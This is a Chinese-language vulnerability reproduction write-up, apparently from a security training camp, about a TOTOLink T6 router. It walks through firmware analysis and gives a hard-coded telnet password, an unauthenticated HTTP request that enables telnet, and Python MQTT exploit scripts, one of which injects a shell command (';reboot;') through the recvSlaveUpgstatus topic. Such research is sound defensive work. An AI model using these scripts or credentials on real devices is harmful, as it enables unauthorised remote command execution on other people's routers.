TOTOLink T6路由器漏洞复现
来源:xman夏令营
产品描述
产品介绍:价格不用两张的无线路由器
分为子母路由器,如果是子路由器,需要找到登录ip,恢复出厂设置
漏洞描述
该设备可直接开启telnet功能;且mqtt协议处未对订阅者进行认证处理,且命令执行前未做判断和过滤,所以存在远程命令执行漏洞
开启Telnet
对固件解压分析:发现web_cste下有telnet.html,访问发现telnet服务
开启后尝试连接,需要密码
且burp抓包重发,发现没有cookie也是可以开启的
到固件中尝试获取密码
$1$BJXeRIOB$w1dFteNXpGDcSSWBMGsl2
md5解密,付费记录
之后谷歌查TOTOLink系列的tenlet密码,发现T10的密码为cs2012,md5加密后和上述密文一样,但是尝试未果
到固件包中尝试看看初始化脚本中有没有暴露密码
在/etc/init.d/rcS中全文搜索pass以及shad字段,发现如下信息
cs命令在自己终端中是没有这个命令的,于是在靶机固件中发现/bin/cs命令
对cs命令进行分析,全局搜索pass字段,发现password,跟进查看
发现密码:KL@UHeZ0,登录成功
理顺业务逻辑
然后查看开放了啥端口,发现没有netstat命令,那没关系,拉个busybox进去,由于路由器没有连网络,讲busybox下到本地,然后使用phpstudy起个服务,把文件下载进去
查看运行端口
于是有了网络和进程的信息,主要比较敏感的就是lighttpd的web服务,23的telnet服务,以及一个叫做cs_broker进程,1883是一个叫做MQTT的服务端口,后续分析
再使用burp抓包,看看telnet数据包是啥样的,以便分析业务流程
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 48
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/telnet.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1621380771:2
Connection: close
{"telnet_enabled":"1","topicurl":"setTelnetCfg"}
url是http://192.168.0.1/cgi-bin/cstecgi.cgi
端口80,listen 1709/lighttpd
这边有点疑惑,分别看了lighttpd和cgi程序
百度结果:使用开源嵌入式web服务器进行二次开发时,实现单纯的web服务器中间件,或者将转发请求功能和后端处理功能融合在一个二进制文件当中
二次开发的特定功能:身份认证等和后端的CGI功能
嵌入式web服务器再读取完HTTP请求头之后,根据URL前缀来选择执行的CGI程序或内部函数,并根据PATH_INFO选择执行程序内最终的handler函数。
Web服务器自身的历史问题、新增的二进制代码问题、脚本语言代码审计问题、功能控制点的逻辑问题以及相关的逆向工作都是需要重点关注的。
参考链接:常见嵌入式Web服务器CGI处理功能简要分析 (ngrep.me)
然后对cgi文件进行了分析
大概逻辑应该是:
- 由lighttpd解析基础的http工作,业务代码交给后端的cgi操作,lighttpd与cgi之间参数传递是通过环境变量的方式
既然cgi获得了名为query_string的字符串,那么肯定有地方传过来,全局搜
上述,cstecgi.cgi是get,那一定上面的mod_cgi.so就是send或者set之类的
可以看到,mod_cgi.so是lighttpd加载的动态链接库,有部分功能代码是由mod_cgi.so实现的
可以认为:运行时,cstecgi.cgi作为lighttpd的子进程而存在,由lighttpd进程中的动态链接库mod_cgi.so启动
观察上述telnet数据包,传进来setTelnetCfg
查找字符串
跟进去,右键create function,再F5
阅读可以发现,主要起作用的还是safe_cs_pub函数,上面无非是数据处理
但是跟进去没有细节,判断为库函数
全局搜,看这个函数在哪里定义了
又可以看到,函数最前面的引用
所以定位到:./lib/libmystdlib.so
进行分析
可以看到下面执行命令cste_pub
自己终端无法运行,找到该可执行文件
且路由器终端是可以运行的
百度搜mosquitto_pub:是一个消息队列遥测传输(MQTT),telnet往下,cstecgi.cgi通过MQTT将东西发出去了,MQTT端口为1833,开启状态
正好和上面的1883端口呼应
再去跟进1883
但是去这俩文件中查找telnet字段,是没有的
又断了,线索
再全局搜一下telnet_enabled
上面俩文件中没有telnet的字符串,但是so库还有dlopen的加载方式,所以也可能通过目录加载
所以是不是应该在wireless.so中实现的
ida分析
可找到对应函数
然后现在剩下MQTT待确定
百度是啥:
-
分为:订阅者、发布者、代理
- 代理,即broker,负责流量的转发
-
MQTT会有一个通配符topic,假如是第三方订阅者,订阅了一个为#的topic,代理就会把他收到的所有消息,发给这个第三方订阅者
-
MQTT fx:软件,1.7版本不要注册码
那么就使用工具尝试一下连接,然后用burp打一下
理顺整个逻辑
开启Telnet利用脚本
通过http开启telnet
import requests
requests.post("http://192.168.0.1/cgi-bin/cstecgi.cgi",data='{"telnet_enabled":"1","topicurl":"setTelnetCfg"}')
通过mqtt开启telnet
import paho.mqtt.client as mqtt
client = mqtt.Client()
client.connect("192.168.0.1",1883,60)
client.publish("totolink/router/setTelnetCfg", b'{"telnet_enabled":"1"}')
命令注入
查看原先setTelnetCfg函数的交叉引用
根据topic,定位使用某个函数
对recvSlaveUpgstatus进行分析
state为1则生效
不做过滤,不做限制,直接执行
构造exp
import paho.mqtt.client as mqtt
client = mqtt.Client()
client.connect("192.168.0.1",1883,60)
client.publish("totolink/router/recvSlaveUpgstatus", b'{"status":"1","ip":";reboot;"}')